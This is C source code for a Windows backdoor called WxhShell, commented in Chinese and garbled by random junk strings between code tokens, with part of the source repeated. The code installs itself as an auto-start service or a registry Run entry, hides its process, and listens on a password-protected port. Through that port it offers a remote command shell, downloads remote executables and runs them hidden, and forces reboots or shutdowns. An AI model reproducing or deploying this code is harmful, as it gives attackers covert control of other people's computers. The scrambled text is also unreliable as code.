,{UGe3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wwB3m& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SXm%X(JU NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '|zrzU= akzGJ3g if (!NtQueryInformationProcess) return 0; F+V!p4G <ukBAux,D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LZRg%3.E if(!hProcess) return 0; TQF+aP8[L +1!iwmch> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a4__1N^Qj o3 fc - CloseHandle(hProcess); #_wq#rF E5bVCAz hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =Xh)34q if(hProcess==NULL) return 0; k||t<&`Ze }oRBQP^&K HMODULE hMod; [8i)/5D4 char procName[255]; l4oyF|oJTH unsigned long cbNeeded; !wfW0?eu ##7y|AwK if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [X.bR$> Hsf::K x CloseHandle(hProcess); ,_Z(!|
rW _F;v3|`D@< if(strstr(procName,"services")) return 1; // 以服务启动 J+u}uN@ 20;9XJmjl return 0; // 注册表启动 F~mIV;BP } -Z"4W 4N,mcV // 主模块 "<!U int StartWxhshell(LPSTR lpCmdLine) JL1ajlm~ { |`5IP8Z SOCKET wsl; D(AH3`*|# BOOL val=TRUE; `<C<[JP:o int port=0; /o;M
?Nt6 struct sockaddr_in door; TN2Ln?[xU bO=|utpk if(wscfg.ws_autoins) Install(); !*N9PUM f2i:I1 p(" port=atoi(lpCmdLine); i+*!"/De %c }V/v_h if(port<=0) port=wscfg.ws_port; 2*|T)OA`m, |1U_5w WSADATA data; $F2Uv\7= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !@ ^6/=
)(G9[DG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2?JV "O= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7zb^Z] door.sin_family = AF_INET; _QPqF{iI door.sin_addr.s_addr = inet_addr("127.0.0.1"); e5|lz.o; door.sin_port = htons(port); /T w{JO#Q k6(7G@@} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nI\6aG?` closesocket(wsl);
54+(o6E< return 1; m9 h '!X< } 513,k$7 @rTB&>` if(listen(wsl,2) == INVALID_SOCKET) { ~dYCY_a closesocket(wsl); w&p+mJL. return 1; ;w7 mr1 } >HP
`B2Q
H Wxhshell(wsl); %71i&T F WSACleanup(); q&3
;e4 va6Fp2n<1* return 0; v ,8;:
sD ~||0lj.D } 7n8nJTU{4j Hr|f(9xA // 以NT服务方式启动 6Y9N=\` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x[(6V' { `2mddx8 DWORD status = 0; `q^#u DWORD specificError = 0xfffffff; uoS:-v}/Y~ uU H4vUa serviceStatus.dwServiceType = SERVICE_WIN32; )^>LnQ_u serviceStatus.dwCurrentState = SERVICE_START_PENDING; {q-&!l| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8tj]@GE serviceStatus.dwWin32ExitCode = 0; XUqorE serviceStatus.dwServiceSpecificExitCode = 0; 3U[O : serviceStatus.dwCheckPoint = 0; |&; ^?M serviceStatus.dwWaitHint = 0; -@pjEI 9`tK9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pe`(9&iT. if (hServiceStatusHandle==0) return; ON :t"z5 `Ij@;=( status = GetLastError(); IDohv[# if (status!=NO_ERROR) hbw(o
{ mMAN*}`O serviceStatus.dwCurrentState = SERVICE_STOPPED; uzYB`H< serviceStatus.dwCheckPoint = 0; =8AT[.Hh serviceStatus.dwWaitHint = 0; S,#1^S serviceStatus.dwWin32ExitCode = status; "r9Rr_,
> serviceStatus.dwServiceSpecificExitCode = specificError; =)a24PDG SetServiceStatus(hServiceStatusHandle, &serviceStatus); dljE.peL return; :Sq]|) } 7EJ2 On %~u]|q<{ serviceStatus.dwCurrentState = SERVICE_RUNNING; I'/3_AX serviceStatus.dwCheckPoint = 0; "-~7lY% serviceStatus.dwWaitHint = 0; DB'v7
Ij0 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \TQZZ_Z } kp m;ohd \TV // 处理NT服务事件,比如:启动、停止 P`Np+E#I VOID WINAPI NTServiceHandler(DWORD fdwControl) YvR bM { pgU[di switch(fdwControl) w0Qtr>" { 3$|/7(M&DA case SERVICE_CONTROL_STOP: pv_o4qEN serviceStatus.dwWin32ExitCode = 0; =rjU=3!&( serviceStatus.dwCurrentState = SERVICE_STOPPED; O0 'iq^g serviceStatus.dwCheckPoint = 0; slQn serviceStatus.dwWaitHint = 0; RRL{a6(? { |xO*!NR SetServiceStatus(hServiceStatusHandle, &serviceStatus); /9`4f " } #}`sfaT return; 8=8hbdy; case SERVICE_CONTROL_PAUSE:
5ZCu6A serviceStatus.dwCurrentState = SERVICE_PAUSED; iq#{*:1 break; MmF&jd-= case SERVICE_CONTROL_CONTINUE: -l^<[% serviceStatus.dwCurrentState = SERVICE_RUNNING; Z)?$ZI@ break; PL/g| ; case SERVICE_CONTROL_INTERROGATE: Obs#2>h break; ACszx\[K3 }; =pH2V^<<# SetServiceStatus(hServiceStatusHandle, &serviceStatus); VYk:c`E } ZpTDM1ro s8h*nZ)v // 标准应用程序主函数 =sJ?]U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S
'a- E![ { ,f
}$FZ I/E 9: // 获取操作系统版本 BWt`l,nF OsIsNt=GetOsVer(); 0At0`Q# GetModuleFileName(NULL,ExeFile,MAX_PATH); Ak'=l; je] DR~ // 从命令行安装 D"7}&Ry: if(strpbrk(lpCmdLine,"iI")) Install(); DT-VxF6 h 2t= =<x // 下载执行文件 ~?Zib1f) if(wscfg.ws_downexe) { D#;7S'C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Z7Vm2a WinExec(wscfg.ws_filenam,SW_HIDE); 2W AeSUX } W06aj ~7Z %a%xUce&-X if(!OsIsNt) { at uqo3 // 如果时win9x,隐藏进程并且设置为注册表启动 @]3\*&R} HideProc(); U4D7@KY +m StartWxhshell(lpCmdLine); Kz HYh } *z0!=>( else i%2u>Ni^ if(StartFromService()) 9"~ FKMN // 以服务方式启动 >eJ<-3L; StartServiceCtrlDispatcher(DispatchTable); JEjxY& else D|uvgu2 // 普通方式启动 Sd7jd ?#9' StartWxhshell(lpCmdLine); ;!n> F};R return 0; I}C2;[a B } I8xdE(o8+ ug3\K83aj/ F*72g)hVh @G5T8qwN =========================================== pMfb(D" U]PB) hD6BP U>S *`>BOl+ro J1w;m/oV " jJ$\ WUQ. 1lw%RM #include <stdio.h> 8Qv s\TY #include <string.h> -Vn#Ab_C #include <windows.h> R)NSJ-A!2 #include <winsock2.h> :So<N}& #include <winsvc.h> BT7{]2?&V #include <urlmon.h> "\4W])30 mxNd_{n #pragma comment (lib, "Ws2_32.lib") c^}y9% 4c #pragma comment (lib, "urlmon.lib") E&U_1D9=L< .NOAp #define MAX_USER 100 // 最大客户端连接数 abo=v<mR #define BUF_SOCK 200 // sock buffer #p}GWS) #define KEY_BUFF 255 // 输入 buffer eL3 _Lz +B*]RL[th #define REBOOT 0 // 重启 9q'9i9/3d #define SHUTDOWN 1 // 关机 VLuHuih !"^Zr]Qt+\ #define DEF_PORT 5000 // 监听端口 \VpEUU6^U nCQtn%j't #define REG_LEN 16 // 注册表键长度 }g bLWx'iG #define SVC_LEN 80 // NT服务名长度 U5Hi9fe Giyh( DL // 从dll定义API s6H.Q$3L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gd;!1GNi] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ] Q5:JV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aTcz5g0" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * %D_\0; 'Lu<2=a~ // wxhshell配置信息 {4J. struct WSCFG { >wW{$ int ws_port; // 监听端口 V}y]< char ws_passstr[REG_LEN]; // 口令 VLXA6+ int ws_autoins; // 安装标记, 1=yes 0=no \.L jA_ char ws_regname[REG_LEN]; // 注册表键名 "&6vFm r char ws_svcname[REG_LEN]; // 服务名 $d<NN2 char ws_svcdisp[SVC_LEN]; // 服务显示名 OZ&/&?!XE char ws_svcdesc[SVC_LEN]; // 服务描述信息 WvfP9(- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8~Cmn% int ws_downexe; // 下载执行标记, 1=yes 0=no E)-;sFz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,rMf;/[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s"jvO>[ g,,wG k }; jQ{ @ol}n t^01@ejM+ // default Wxhshell configuration 8iIp[9~= struct WSCFG wscfg={DEF_PORT, Rqe.=+Qs "xuhuanlingzhe", [F6)Z[uG 1, Kd:l8%+ "Wxhshell", #W~jQ5NS\ "Wxhshell", P~a@{n*8 "WxhShell Service", DNGyEC
"Wrsky Windows CmdShell Service", j_<qnBeQ "Please Input Your Password: ", ~1O|4mssS 1, T]th3* "http://www.wrsky.com/wxhshell.exe", |=0vgwd"S "Wxhshell.exe" 6 f*:; }; (L(7)WbH x}/jh // 消息定义模块 QuR}6C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m.D8@[y char *msg_ws_prompt="\n\r? for help\n\r#>"; $Cz2b/O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [Hh*lKg char *msg_ws_ext="\n\rExit."; u@Hz7Q}
P char *msg_ws_end="\n\rQuit."; m)A:w.o char *msg_ws_boot="\n\rReboot..."; 9&sb,^4 char *msg_ws_poff="\n\rShutdown..."; S~ /2Bw!2 char *msg_ws_down="\n\rSave to "; Mt.Cj;h@^[ URb8[~dR: char *msg_ws_err="\n\rErr!"; Im6gWDdq@6 char *msg_ws_ok="\n\rOK!"; ,
>7PG2
a M'%4BOpI6` char ExeFile[MAX_PATH]; SH)-(+72d int nUser = 0; O>L,G)g HANDLE handles[MAX_USER]; 7r;16" int OsIsNt; R+HX'W ;"M6}5dQ4 SERVICE_STATUS serviceStatus; d88A.Z3w SERVICE_STATUS_HANDLE hServiceStatusHandle; f1vD{M; Up@^C" // 函数声明 8UU
L= int Install(void); r^m&<)Ca int Uninstall(void); F!z ^0+H( int DownloadFile(char *sURL, SOCKET wsh); 6Z|h>H5a int Boot(int flag); 8\s#law void HideProc(void); F0!Z1S0g int GetOsVer(void); &g;!n&d zP int Wxhshell(SOCKET wsl); ,7d/KJ^7 void TalkWithClient(void *cs); f#z:ILG= int CmdShell(SOCKET sock); t+v%%N_ int StartFromService(void); D>|`+=1'0" int StartWxhshell(LPSTR lpCmdLine); '&cH,yc;b @ki|#ro VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rt^~
I\V VOID WINAPI NTServiceHandler( DWORD fdwControl ); /ZyMD(_J C:Jfrg` // 数据结构和表定义 %,WH*") SERVICE_TABLE_ENTRY DispatchTable[] = 26p[x'W { J8)l ,J" {wscfg.ws_svcname, NTServiceMain}, sFM$O232 {NULL, NULL} )#i@DHt= }; NVRzthg%c_ Hs)Cf)8u // 自我安装 K 4GuOl int Install(void) lJ;Wi { NK qIx char svExeFile[MAX_PATH]; >B6*`3v HKEY key; 3YMqp~4 strcpy(svExeFile,ExeFile); 6 J>A U G QYR`;> // 如果是win9x系统,修改注册表设为自启动 u\Cf@}5( if(!OsIsNt) { h/ n( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =803rNe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b-
- tl@H RegCloseKey(key); +j{Cfv$do if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !dT+cZsf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x`g,>>&C RegCloseKey(key); ?9t4>xKn return 0; 1
tOslP@ } :(]fC~G~ } Srx:rUCv } wH?)ZL else { HQ@g6 SVo ?o|< // 如果是NT以上系统,安装为系统服务 <\O+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wxj_DTi[1" if (schSCManager!=0) q;,lv3I { TVcA%]y{; SC_HANDLE schService = CreateService :^ywc O ( v \i"-KH schSCManager, l Xa/5QKC wscfg.ws_svcname, '^TeV= wscfg.ws_svcdisp, R%KF/1;/ SERVICE_ALL_ACCESS, TR3U<: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G:1d6[Q5{ SERVICE_AUTO_START, S46aUkW. SERVICE_ERROR_NORMAL, 4|K\pCw svExeFile, jRjeL'"G NULL, 8)>x) T NULL, ]mMJ6n NULL, 7_\F$bp` NULL, !p+54w\ 2 NULL 5TJd9:\Af ); e' M&Eh if (schService!=0) ~5+RK16 { %rb$tKk CloseServiceHandle(schService); hnFpC1TO CloseServiceHandle(schSCManager); lQ?jdi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n725hY6}<l strcat(svExeFile,wscfg.ws_svcname); ./ {79 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $A?9U}V#^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3q73L<f RegCloseKey(key); 5hmfdj6 return 0; vS\ 2zwb} } vu0Ue } 4fsd5# CloseServiceHandle(schSCManager); Qn8xe, } bVzi^R" } AY5iTbL1 qS\#MMsTd return 1; f(pq`v^-n } ^OiL&p;r YTyrX // 自我卸载 5;}W=x^$a int Uninstall(void) #B5,k|"/,M { YTa
g|If HKEY key; xoo,}EY pA*C|g
if(!OsIsNt) { ]P3m=/w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {|u"I@M*O RegDeleteValue(key,wscfg.ws_regname); f7a4E+} RegCloseKey(key); ]^C 8Oh< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;v.[aq RegDeleteValue(key,wscfg.ws_regname); yIL=jzm`7 RegCloseKey(key); d[_26. return 0; s A,bR| } C=+9XfP 0 } o=YOn&@% } ZHK>0>; else { H<Sf0>OA 8NHm#Z3Ol SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LJ[zF~4# if (schSCManager!=0) g[G/If { %C_tBNE< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N;
}$!sNIm if (schService!=0) n- 2X?<_Z { Q7uJ9Y{X if(DeleteService(schService)!=0) { gko=5|c,@ CloseServiceHandle(schService); y`va6 %u{ CloseServiceHandle(schSCManager); FPY k`D return 0; G[mqLI{q } 1@v< CloseServiceHandle(schService); j+h+Y|4J } {T-\BTh&Q CloseServiceHandle(schSCManager); w!"L\QT } ,m<YSMKX } /u$'=!<b; 0 SSdp< return 1; itzUq,T } zhw*Bed< ]u5TvI,C // 从指定url下载文件 8b?nr;@ int DownloadFile(char *sURL, SOCKET wsh) 57q= { |E >h*Y HRESULT hr; M>i(p% char seps[]= "/"; ? uYO]!VC char *token; D
5r H6*J char *file; G^Gs/-
f char myURL[MAX_PATH]; WRD
z*Zf char myFILE[MAX_PATH]; |Ml~Pmpp 2V@5:tf strcpy(myURL,sURL); 4fKvB@O@. token=strtok(myURL,seps); y[XD=j while(token!=NULL) mEJ7e# { ;JkIZ8! file=token; {}$rN@OM$ token=strtok(NULL,seps); "0!h-bQN } U(f@zGV |1%%c
% GetCurrentDirectory(MAX_PATH,myFILE); \na$Sb+ strcat(myFILE, "\\"); Ixn|BCi60A strcat(myFILE, file); :i!fPN n send(wsh,myFILE,strlen(myFILE),0); ^^v3iCT send(wsh,"...",3,0); ,w~3K%B4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -4x! #|] if(hr==S_OK) [^
}$u[ return 0; 6>)fNCe` else kx(beaf return 1; )3CM9P'0 ^(TCUY~f& } :XY%@n nDvfb*\ // 系统电源模块 MQP9^+f)O? int Boot(int flag) R%3yxnM* { 9^!.!%6O$ HANDLE hToken; {Z/iYHv~#c TOKEN_PRIVILEGES tkp; TIJH}Ri x~5,v5R^] if(OsIsNt) { \NNA" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C[,h! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +1wEoU.l2 tkp.PrivilegeCount = 1; "9xJ},:- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T)e2IXGN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "#E
Z if(flag==REBOOT) { ;:=j{,&dl[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cgG*7E return 0; gqv+|:# } V30w`\1A else { q%G[tXw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qVh?%c1.Y return 0; O.FTToh< } N[Xm5J } S!A:/(^WB else { fL|9/sojz if(flag==REBOOT) { p|gVIsg[-e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F2zo
!a8 return 0; h.?<(I } }m<+tn3m else { )vq}$W!:9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C5(XZscq return 0; 3_@IE2dA } Mcc%&j } (^~a1@f,J N|mggz return 1; eY`z\I } 9%kO%j,3 s>L-0vG // win9x进程隐藏模块
zr ez* void HideProc(void) _L)LyQD]T { |34k;l]E 1;m?:|6K{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O)^F z: if ( hKernel != NULL ) 8cfsl lI { {KSLB8gtL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 15_"U+O(/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J,v024TM FreeLibrary(hKernel); ,8DC9yM, } Ew]&~:$Ki R}(Rv3>Xx return; Ox
,Rk } L"0dB. YP!}Bf // 获取操作系统版本 \=RV?mI3? int GetOsVer(void) ug}u>vQ> { Zah<e6L OSVERSIONINFO winfo; \gT({XU? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x%)oL:ue GetVersionEx(&winfo); L|{v kkBo if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i*l=xW;bM return 1; R{H8@JLD else uWMSn return 0; WTD86A } .`KzA] ;]R5:LbXS // 客户端句柄模块 w?_'sP{pd int Wxhshell(SOCKET wsl) pbh>RS=ri { on
hLhrZ SOCKET wsh; xGOmvn^lQ struct sockaddr_in client; "WY5Pzsi: DWORD myID; l^tRy_T:- a-#$T)mmfj while(nUser<MAX_USER) L5:1dF { \1?'JdN int nSize=sizeof(client); EFU)0IAL[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !`H!!Kg0L if(wsh==INVALID_SOCKET) return 1; $2]>{g Wt5pK[JV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~"bBwPI if(handles[nUser]==0) uu-M7>+ closesocket(wsh); Le-t<6i-V# else wg
k[_i nUser++; ?;w`hA3ei } ,y0 &E8Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xA;)02 AH#a+<;a return 0; |d\1xTBLp } `o{_+Li9 PXl%"O%d // 关闭 socket HOPl0fY$L void CloseIt(SOCKET wsh) o]]tH { f\hQ>MLzt closesocket(wsh); //3fgoly nUser--; ifWQwS/,a ExitThread(0); B)d 4]]4\\ } T#e|{ZCbq 3:w_49~:~ // 客户端请求句柄 r^E(GmW void TalkWithClient(void *cs) vytO8m%U { a&kt!%p: @}r
s6 G SOCKET wsh=(SOCKET)cs; o=zl{tZV char pwd[SVC_LEN]; Jz0AYiCq char cmd[KEY_BUFF]; :v45Ls4J char chr[1]; x!7!)]h int i,j; /A>nsN?:] Q`O~ f<a while (nUser < MAX_USER) { -:!Wds =~,2E;#X if(wscfg.ws_passstr) { 0e:j=kd)NH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I~HA
ad,k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }YiFiGf, //ZeroMemory(pwd,KEY_BUFF); >CcDG i=0; aU.!+e%_ while(i<SVC_LEN) { [Ak0kH> 5|}u25J // 设置超时 k:mW ,s|a fd_set FdRead; '"hSX= struct timeval TimeOut; 44k8IYC*o FD_ZERO(&FdRead); wrJ"(:VZ FD_SET(wsh,&FdRead); -`X`Ff TimeOut.tv_sec=8; cl{mRt0 TimeOut.tv_usec=0; -U7,~z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "fN
6_* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N3)n** =|fB":vk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mTL`8hv? pwd=chr[0]; RA){\~@wC if(chr[0]==0xd || chr[0]==0xa) { t,A=B(W pwd=0; BNO+-ob- break; #N"QTD|i } IQ$ 6}. i++; GUJ?6; } }Q^*Zq9- mtLiS3Nk8 // 如果是非法用户,关闭 socket D)[( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @bAuR } $EdL^Q2KAy p&2d&;Qo0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2PNe~9)*# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A^|~>9 $&jVEMia while(1) { L|'B* so Lmr's ZeroMemory(cmd,KEY_BUFF); `4Fw,:+e v@fy*T\3 // 自动支持客户端 telnet标准 ExFz@6@ j=0; ~?iQnQYI while(j<KEY_BUFF) { o>]z~^c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u{sb^cmy cmd[j]=chr[0]; )g^O'e=m if(chr[0]==0xa || chr[0]==0xd) { On[yL$? cmd[j]=0; SC3_S. break; 9@nd>B } {=,I>w]T|W j++; YPKB4p# } rzvKvGd#N IF6-VFY:6 // 下载文件 =?\%E[j if(strstr(cmd,"http://")) { /*"pylm send(wsh,msg_ws_down,strlen(msg_ws_down),0); nYBa+>3BDf if(DownloadFile(cmd,wsh)) S
C}@eA' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<f.r~ else 7^d7:1M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AW!A+?F6 } U?5G%o(q else { h$6~3^g:P j0{Qy;wP ) switch(cmd[0]) { E},zB*5TH gr@Ril^ // 帮助 rJRg4Rog case '?': { _S-@|9\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
rrphOG break; /cvMp#<] } bu08`P9 // 安装 z'"Y+EWN case 'i': { $(*>]PC+) if(Install()) `'pAiu send(wsh,msg_ws_err,strlen(msg_ws_err),0); =NNxe"Kd;U else y(^\]-fE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )dJx82"
l break; OpK_?XG } Nn U`u.$D // 卸载 M[Nv> case 'r': { !?|xeQ} if(Uninstall()) +NiCt S send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*?9n^PaF else uaky2SgN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dI!/H&`B] break; dB:c2 } d..JW{ // 显示 wxhshell 所在路径 Y zmMF case 'p': { ,^DP char svExeFile[MAX_PATH]; 0y+i?y
9 strcpy(svExeFile,"\n\r"); ki1j~q strcat(svExeFile,ExeFile); L9F71bs59 send(wsh,svExeFile,strlen(svExeFile),0); 6)20%*[ break; <num!@2D } {lgiH+: // 重启 $3%+N|L case 'b': { @S>;t)\J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 64>CfU( if(Boot(REBOOT)) ^r mQMjF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g,Hb\_R) else { Vobq|Rd/% closesocket(wsh); =+q\Jh ExitThread(0); wTG(U3{3K } p(Osz7K break; <z>oY2% } Q7tvpU // 关机 g=,}j]tl case 'd': { VYt<j<ba send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tE-g]y3 if(Boot(SHUTDOWN)) w~Vqg:'\$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); cL~YQJYp else { Tf?`_jL closesocket(wsh); Ki&a"Fu3 ExitThread(0); uv^x } ;P/ 4.|< break; k1s5cg=n( } t*u#4I1 // 获取shell 6E9/z case 's': { n1:q:qMR1 CmdShell(wsh); Z_Y'#5o# closesocket(wsh); MX.?tN#F|H ExitThread(0); brlbJFZ19 break; $J&c1 } "^;h' // 退出 l"jYY3N|h case 'x': { ;Zr7NKs send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1MT,A_L CloseIt(wsh); s{j A!T} break; U=U5EdN; } _+(@? // 离开 TY'61xWi case 'q': { tV>qV\> send(wsh,msg_ws_end,strlen(msg_ws_end),0); vAqj4:j closesocket(wsh); m7u`r(& WSACleanup(); n=AcN exit(1); XrWWV2[ break; X8N9*vy } =;b3i1'U } +%u3% } } a/1;|1a. Mw)6,O` // 提示信息 E0EK88 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <gfRAeXA } 2gMG7%d } bovAFdHW
KLE)+| return; cC NRv$IO\ } !\9^|Ef? Kfr1k // shell模块句柄 cC+2%q B int CmdShell(SOCKET sock) pe\Nwq { s(J>yd= STARTUPINFO si; PLMC<4$s ZeroMemory(&si,sizeof(si)); $(]nl%<Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (/,l0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2lOUNx Q$ PROCESS_INFORMATION ProcessInfo; 5gqs"trF char cmdline[]="cmd"; gZ7R^]
k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GQ>0E return 0; rjO{B`sV* } nJ
xO.wWE 1 <+aF, // 自身启动模式 vv{+p(~**O int StartFromService(void) 6Io}3}3 { Y?3tf0t/ typedef struct .kn2M&P>= { NRx I?v DWORD ExitStatus; 5g/,VMe DWORD PebBaseAddress; n-yUt72 DWORD AffinityMask; lw.[qP DWORD BasePriority; }(|gC, ULONG UniqueProcessId; w}zmcO:x ULONG InheritedFromUniqueProcessId; |iUC\F=- } PROCESS_BASIC_INFORMATION; '?L^Fa_H L\E>5G; PROCNTQSIP NtQueryInformationProcess; $Th)z}A}EA ck5cO-1>6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H"6x/&s.=k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >7%T%2N b/]4#?g HANDLE hProcess; [H>u'fy:C PROCESS_BASIC_INFORMATION pbi; a%`%("g! UU MB"3e HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wCruj`$ if(NULL == hInst ) return 0; o5NmNOXm dS4z Oz" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G2)F<Y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t^FE]$, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k:R\;l5 X.k8w\~ if (!NtQueryInformationProcess) return 0; s(3HZ>qx; tm^joK[{|J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '5De1K.\` if(!hProcess) return 0; kwc
